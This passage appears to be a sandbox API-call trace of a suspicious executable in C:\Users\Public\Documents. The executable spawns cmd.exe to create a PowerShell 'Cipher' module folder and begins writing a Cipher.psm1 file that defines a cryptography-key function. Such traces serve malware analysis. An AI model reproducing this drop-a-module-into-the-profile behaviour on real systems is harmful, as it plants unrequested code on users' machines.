_String2="PROCESS", _MaxCount=0x7) returned -13 [0062.612] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0062.612] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0062.612] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0062.612] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0062.612] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0062.612] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0062.612] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0062.612] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0062.612] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0062.612] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0062.612] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0062.612] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0062.613] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0062.613] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0062.613] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0062.613] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0062.613] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0062.613] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0062.613] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0062.613] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0062.613] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0062.613] GetProcessHeap () returned 0x5d0000 [0062.613] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5fc830 | out: hHeap=0x5d0000) returned 1 [0062.613] GetProcessHeap () returned 0x5d0000 [0062.613] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xa) returned 0x5e5e28 [0062.613] lstrcmpW (lpString1="\\cmd.exe", lpString2="\\XCOPY.EXE") returned -1 [0062.654] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine="cmd.exe /c mkdir C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher ", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\kEecfMwgj\\Desktop", lpStartupInfo=0x1cf02c*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="cmd.exe /c mkdir C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher ", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1cf078 | out: lpCommandLine="cmd.exe /c mkdir C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher ", lpProcessInformation=0x1cf078*(hProcess=0x80, hThread=0x7c, dwProcessId=0xa5c, dwThreadId=0xa54)) returned 1 [0062.674] CloseHandle (hObject=0x7c) returned 1 [0062.674] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0062.674] GetProcessHeap () returned 0x5d0000 [0062.674] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5ead60 | out: hHeap=0x5d0000) returned 1 [0062.674] GetEnvironmentStringsW () returned 0x5ead50* [0062.674] GetProcessHeap () returned 0x5d0000 [0062.675] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xbd8) returned 0x600d70 [0062.675] memcpy (in: _Dst=0x600d70, _Src=0x5ead50, _Size=0xbd8 | out: _Dst=0x600d70) returned 0x600d70 [0062.675] FreeEnvironmentStringsW (penv=0x5ead50) returned 1 [0062.675] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0 [0062.856] GetExitCodeProcess (in: hProcess=0x80, lpExitCode=0x1cef6c | out: lpExitCode=0x1cef6c*=0x0) returned 1 [0062.856] CloseHandle (hObject=0x80) returned 1 [0062.856] _vsnwprintf (in: _Buffer=0x1cf0b4, _BufferCount=0x13, _Format="%08X", _ArgList=0x1cef78 | out: _Buffer="00000000") returned 8 [0062.856] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0062.856] GetProcessHeap () returned 0x5d0000 [0062.857] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x600d70 | out: hHeap=0x5d0000) returned 1 [0062.857] GetEnvironmentStringsW () returned 0x602558* [0062.857] GetProcessHeap () returned 0x5d0000 [0062.857] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xbfe) returned 0x603160 [0062.857] memcpy (in: _Dst=0x603160, _Src=0x602558, _Size=0xbfe | out: _Dst=0x603160) returned 0x603160 [0062.857] FreeEnvironmentStringsW (penv=0x602558) returned 1 [0062.857] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0062.857] GetProcessHeap () returned 0x5d0000 [0062.858] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x603160 | out: hHeap=0x5d0000) returned 1 [0062.858] GetEnvironmentStringsW () returned 0x602558* [0062.858] GetProcessHeap () returned 0x5d0000 [0062.858] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xbfe) returned 0x603160 [0062.858] memcpy (in: _Dst=0x603160, _Src=0x602558, _Size=0xbfe | out: _Dst=0x603160) returned 0x603160 [0062.858] FreeEnvironmentStringsW (penv=0x602558) returned 1 [0062.858] GetProcessHeap () returned 0x5d0000 [0062.858] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e5e28 | out: hHeap=0x5d0000) returned 1 [0062.858] DeleteProcThreadAttributeList (in: lpAttributeList=0x1cefd0 | out: lpAttributeList=0x1cefd0) [0062.858] GetConsoleTitleW (in: lpConsoleTitle=0x1cf350, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\Public\\Documents\\cgo46ea565sdfse7.exe") returned 0x2e [0062.858] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x108) returned 0x5e51e8 [0062.858] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e51e8, Size=0x86) returned 0x5e51e8 [0062.858] GetProcessHeap () returned 0x5d0000 [0062.858] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x5e51e8) returned 0x86 [0062.859] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0062.859] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0062.860] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x1cf10c, nVolumeNameSize=0x104, lpVolumeSerialNumber=0x1cf104, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer="SYSTEM", lpVolumeSerialNumber=0x1cf104*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0062.860] GetProcessHeap () returned 0x5d0000 [0062.860] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x8e) returned 0x5e5278 [0062.860] GetProcessHeap () returned 0x5d0000 [0062.860] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x108) returned 0x5e5310 [0062.860] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e5310, Size=0x88) returned 0x5e5310 [0062.860] GetProcessHeap () returned 0x5d0000 [0062.860] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x5e5310) returned 0x88 [0062.860] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x84) returned 0x603d68 [0062.861] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x1ceeb0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop") returned 0x1a [0062.861] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher", nBufferLength=0x104, lpBuffer=0x1ceeb0, lpFilePart=0x1ceeac | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher", lpFilePart=0x1ceeac*="Cipher") returned 0x3d [0062.861] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher")) returned 0x10 [0062.861] FindFirstFileW (in: lpFileName="C:\\Users" (normalized: "c:\\users"), lpFindFileData=0x1cec2c | out: lpFindFileData=0x1cec2c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x791634f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x791634f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x600ac0 [0062.861] FindClose (in: hFindFile=0x600ac0 | out: hFindFile=0x600ac0) returned 1 [0062.861] memcpy (in: _Dst=0x1ceeb6, _Src=0x1cec58, _Size=0xa | out: _Dst=0x1ceeb6) returned 0x1ceeb6 [0062.861] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj"), lpFindFileData=0x1cec2c | out: lpFindFileData=0x1cec2c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x791634f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0xf29f86d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf29f86d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="kEecfMwgj", cAlternateFileName="KEECFM~1")) returned 0x600ac0 [0062.861] FindClose (in: hFindFile=0x600ac0 | out: hFindFile=0x600ac0) returned 1 [0062.861] _wcsnicmp (_String1="KEECFM~1", _String2="kEecfMwgj", _MaxCount=0x9) returned 7 [0062.861] memcpy (in: _Dst=0x1ceec2, _Src=0x1cec58, _Size=0x12 | out: _Dst=0x1ceec2) returned 0x1ceec2 [0062.861] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents" (normalized: "c:\\users\\keecfmwgj\\documents"), lpFindFileData=0x1cec2c | out: lpFindFileData=0x1cec2c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794cf490, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0xa470afe0, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xa470afe0, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 0x600ac0 [0062.862] FindClose (in: hFindFile=0x600ac0 | out: hFindFile=0x600ac0) returned 1 [0062.862] _wcsnicmp (_String1="DOCUME~1", _String2="Documents", _MaxCount=0x9) returned 16 [0062.862] memcpy (in: _Dst=0x1ceed6, _Src=0x1cec58, _Size=0x12 | out: _Dst=0x1ceed6) returned 0x1ceed6 [0062.862] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell"), lpFindFileData=0x1cec2c | out: lpFindFileData=0x1cec2c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa470afe0, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xa470afe0, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xa470afe0, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsPowerShell", cAlternateFileName="WINDOW~1")) returned 0x600ac0 [0062.862] FindClose (in: hFindFile=0x600ac0 | out: hFindFile=0x600ac0) returned 1 [0062.862] _wcsnicmp (_String1="WINDOW~1", _String2="WindowsPowerShell", _MaxCount=0x11) returned 11 [0062.862] memcpy (in: _Dst=0x1ceeea, _Src=0x1cec58, _Size=0x22 | out: _Dst=0x1ceeea) returned 0x1ceeea [0062.862] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules"), lpFindFileData=0x1cec2c | out: lpFindFileData=0x1cec2c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa470afe0, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xa470afe0, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xa470afe0, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Modules", cAlternateFileName="")) returned 0x600ac0 [0062.862] FindClose (in: hFindFile=0x600ac0 | out: hFindFile=0x600ac0) returned 1 [0062.862] memcpy (in: _Dst=0x1cef0e, _Src=0x1cec58, _Size=0xe | out: _Dst=0x1cef0e) returned 0x1cef0e [0062.862] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher"), lpFindFileData=0x1cec2c | out: lpFindFileData=0x1cec2c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa470afe0, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xa470afe0, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xa470afe0, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cipher", cAlternateFileName="")) returned 0x600ac0 [0062.863] FindClose (in: hFindFile=0x600ac0 | out: hFindFile=0x600ac0) returned 1 [0062.863] memcpy (in: _Dst=0x1cef1e, _Src=0x1cec58, _Size=0xc | out: _Dst=0x1cef1e) returned 0x1cef1e [0062.863] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher")) returned 0x10 [0062.863] SetCurrentDirectoryW (lpPathName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher")) returned 1 [0062.863] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher") returned 1 [0062.863] GetProcessHeap () returned 0x5d0000 [0062.864] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x603160 | out: hHeap=0x5d0000) returned 1 [0062.864] GetEnvironmentStringsW () returned 0x6011a8* [0062.864] GetProcessHeap () returned 0x5d0000 [0062.864] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xc44) returned 0x601df8 [0062.864] memcpy (in: _Dst=0x601df8, _Src=0x6011a8, _Size=0xc44 | out: _Dst=0x601df8) returned 0x601df8 [0062.864] FreeEnvironmentStringsW (penv=0x6011a8) returned 1 [0062.864] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a6f5260 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher") returned 0x3d [0062.864] GetProcessHeap () returned 0x5d0000 [0062.864] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x603d68 | out: hHeap=0x5d0000) returned 1 [0062.864] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x18) returned 0x5fc850 [0062.864] _get_osfhandle (_FileHandle=1) returned 0x7 [0062.864] _get_osfhandle (_FileHandle=1) returned 0x7 [0062.865] _get_osfhandle (_FileHandle=1) returned 0x7 [0062.865] GetFileType (hFile=0x7) returned 0x2 [0062.865] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0062.865] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1cf4ec | out: lpMode=0x1cf4ec) returned 1 [0062.865] _dup (_FileHandle=1) returned 3 [0062.866] _close (_FileHandle=1) returned 0 [0062.866] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0062.867] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x1cf4bc, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0062.867] _open_osfhandle (_OSFileHandle=0x1c, _Flags=8) returned 1 [0062.867] GetConsoleTitleW (in: lpConsoleTitle=0x1cf2ec, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\Public\\Documents\\cgo46ea565sdfse7.exe") returned 0x2e [0062.867] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x98) returned 0x600d70 [0062.867] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x600d70, Size=0x4c) returned 0x600d70 [0062.867] GetProcessHeap () returned 0x5d0000 [0062.867] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x600d70) returned 0x4c [0062.868] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x5a) returned 0x600ac0 [0062.868] _vsnwprintf (in: _Buffer=0x4a704640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x1cf2b4 | out: _Buffer="function New-CryptographyKey() { \r\n") returned 36 [0062.869] _get_osfhandle (_FileHandle=1) returned 0x1c [0062.869] GetFileType (hFile=0x1c) returned 0x1 [0062.869] _get_osfhandle (_FileHandle=1) returned 0x1c [0062.869] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="function New-CryptographyKey() { \r\n", cchWideChar=-1, lpMultiByteStr=0x4a6f6640, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="function New-CryptographyKey() { \r\n", lpUsedDefaultChar=0x0) returned 37 [0062.869] WriteFile (in: hFile=0x1c, lpBuffer=0x4a6f6640*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0x1cf2a0, lpOverlapped=0x0 | out: lpBuffer=0x4a6f6640*, lpNumberOfBytesWritten=0x1cf2a0*=0x24, lpOverlapped=0x0) returned 1 [0062.871] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0062.873] _close (_FileHandle=3) returned 0 [0062.873] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x18) returned 0x5fc870 [0062.873] _get_osfhandle (_FileHandle=1) returned 0x7 [0062.873] _get_osfhandle (_FileHandle=1) returned 0x7 [0062.873] _get_osfhandle (_FileHandle=1) returned 0x7 [0062.873] GetFileType (hFile=0x7) returned 0x2 [0062.874] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0062.874] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1cf488 | out: lpMode=0x1cf488) returned 1 [0062.874] _dup (_FileHandle=1) returned 3 [0062.874] _close (_FileHandle=1) returned 0 [0062.875] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0062.875] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x1cf458, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0062.875] _open_osfhandle (_OSFileHandle=0x1c, _Flags=8) returned 1 [0062.875] _get_osfhandle (_FileHandle=1) returned 0x1c [0062.875] GetFileType (hFile=0x1c) returned 0x1 [0062.875] GetFileSize (in: hFile=0x1c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x24 [0062.875] SetFilePointer (in: hFile=0x1c, lDistanceToMove=-1, lpDistanceToMoveHigh=0x1cf470*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cf470*=0) returned 0x23 [0062.875] ReadFile (in: hFile=0x1c, lpBuffer=0x1cf468, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf464, lpOverlapped=0x0 | out: lpBuffer=0x1cf468*, lpNumberOfBytesRead=0x1cf464*=0x1, lpOverlapped=0x0) returned 1 [0062.875] GetConsoleTitleW (in: lpConsoleTitle=0x1cf288, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\Public\\Documents\\cgo46ea565sdfse7.exe") returned 0x2e [0062.876] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x5c) returned 0x5e53a0 [0062.876] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e53a0, Size=0x2e) returned 0x5e53a0 [0062.876] GetProcessHeap () returned 0x5d0000 [0062.876] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x5e53a0) returned 0x2e [0062.876] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x3c) returned 0x5f5268 [0062.876] _vsnwprintf (in: _Buffer=0x4a704640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x1cf250 | out: _Buffer="[CmdletBinding()] \r\n") returned 21 [0062.876] _get_osfhandle (_FileHandle=1) returned 0x1c [0062.876] GetFileType (hFile=0x1c) returned 0x1 [0062.876] _get_osfhandle (_FileHandle=1) returned 0x1c [0062.876] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="[CmdletBinding()] \r\n", cchWideChar=-1, lpMultiByteStr=0x4a6f6640, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[CmdletBinding()] \r\n", lpUsedDefaultChar=0x0) returned 22 [0062.876] WriteFile (in: hFile=0x1c, lpBuffer=0x4a6f6640*, nNumberOfBytesToWrite=0x15, lpNumberOfBytesWritten=0x1cf23c, lpOverlapped=0x0 | out: lpBuffer=0x4a6f6640*, lpNumberOfBytesWritten=0x1cf23c*=0x15, lpOverlapped=0x0) returned 1 [0062.876] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0062.878] _close (_FileHandle=3) returned 0 [0062.879] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x18) returned 0x5fc890 [0062.879] _get_osfhandle (_FileHandle=1) returned 0x7 [0062.879] _get_osfhandle (_FileHandle=1) returned 0x7 [0062.879] _get_osfhandle (_FileHandle=1) returned 0x7 [0062.879] GetFileType (hFile=0x7) returned 0x2 [0062.879] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0062.879] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1cf424 | out: lpMode=0x1cf424) returned 1 [0062.879] _dup (_FileHandle=1) returned 3 [0062.880] _close (_FileHandle=1) returned 0 [0062.880] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0062.880] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x1cf3f4, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0062.880] _open_osfhandle (_OSFileHandle=0x1c, _Flags=8) returned 1 [0062.880] _get_osfhandle (_FileHandle=1) returned 0x1c [0062.880] GetFileType (hFile=0x1c) returned 0x1 [0062.881] GetFileSize (in: hFile=0x1c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x39 [0062.881] SetFilePointer (in: hFile=0x1c, lDistanceToMove=-1, lpDistanceToMoveHigh=0x1cf40c*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cf40c*=0) returned 0x38 [0062.881] ReadFile (in: hFile=0x1c, lpBuffer=0x1cf404, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf400, lpOverlapped=0x0 | out: lpBuffer=0x1cf404*, lpNumberOfBytesRead=0x1cf400*=0x1, lpOverlapped=0x0) returned 1 [0062.881] GetConsoleTitleW (in: lpConsoleTitle=0x1cf224, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\Public\\Documents\\cgo46ea565sdfse7.exe") returned 0x2e [0062.881] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xcc) returned 0x600dc8 [0062.881] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x600dc8, Size=0x64) returned 0x600dc8 [0062.881] GetProcessHeap () returned 0x5d0000 [0062.881] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x600dc8) returned 0x64 [0062.881] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x74) returned 0x5ebbd8 [0062.881] _vsnwprintf (in: _Buffer=0x4a704640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x1cf1ec | out: _Buffer=" [OutputType([System.Security.SecureString])] \r\n") returned 49 [0062.881] _get_osfhandle (_FileHandle=1) returned 0x1c [0062.881] GetFileType (hFile=0x1c) returned 0x1 [0062.881] _get_osfhandle (_FileHandle=1) returned 0x1c [0062.881] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" [OutputType([System.Security.SecureString])] \r\n", cchWideChar=-1, lpMultiByteStr=0x4a6f6640, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" [OutputType([System.Security.SecureString])] \r\n", lpUsedDefaultChar=0x0) returned 50 [0062.881] WriteFile (in: hFile=0x1c, lpBuffer=0x4a6f6640*, nNumberOfBytesToWrite=0x31, lpNumberOfBytesWritten=0x1cf1d8, lpOverlapped=0x0 | out: lpBuffer=0x4a6f6640*, lpNumberOfBytesWritten=0x1cf1d8*=0x31, lpOverlapped=0x0) returned 1 [0062.882] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0062.883] _close (_FileHandle=3) returned 0 [0062.884] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x18) returned 0x5fc8b0 [0062.884] _get_osfhandle (_FileHandle=1) returned 0x7 [0062.884] _get_osfhandle (_FileHandle=1) returned 0x7 [0062.884] _get_osfhandle (_FileHandle=1) returned 0x7 [0062.884] GetFileType (hFile=0x7) returned 0x2 [0062.884] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0062.884] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1cf3c0 | out: lpMode=0x1cf3c0) returned 1 [0062.885] _dup (_FileHandle=1) returned 3 [0062.885] _close (_FileHandle=1) returned 0 [0062.885] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0062.885] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x1cf390, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0062.886] _open_osfhandle (_OSFileHandle=0x1c, _Flags=8) returned 1 [0062.886] _get_osfhandle (_FileHandle=1) returned 0x1c [0062.886] GetFileType (hFile=0x1c) returned 0x1 [0062.886] GetFileSize (in: hFile=0x1c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x6a [0062.886] SetFilePointer (in: hFile=0x1c, lDistanceToMove=-1, lpDistanceToMoveHigh=0x1cf3a8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cf3a8*=0) returned 0x69 [0062.886] ReadFile (in: hFile=0x1c, lpBuffer=0x1cf3a0, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf39c, lpOverlapped=0x0 | out: lpBuffer=0x1cf3a0*, 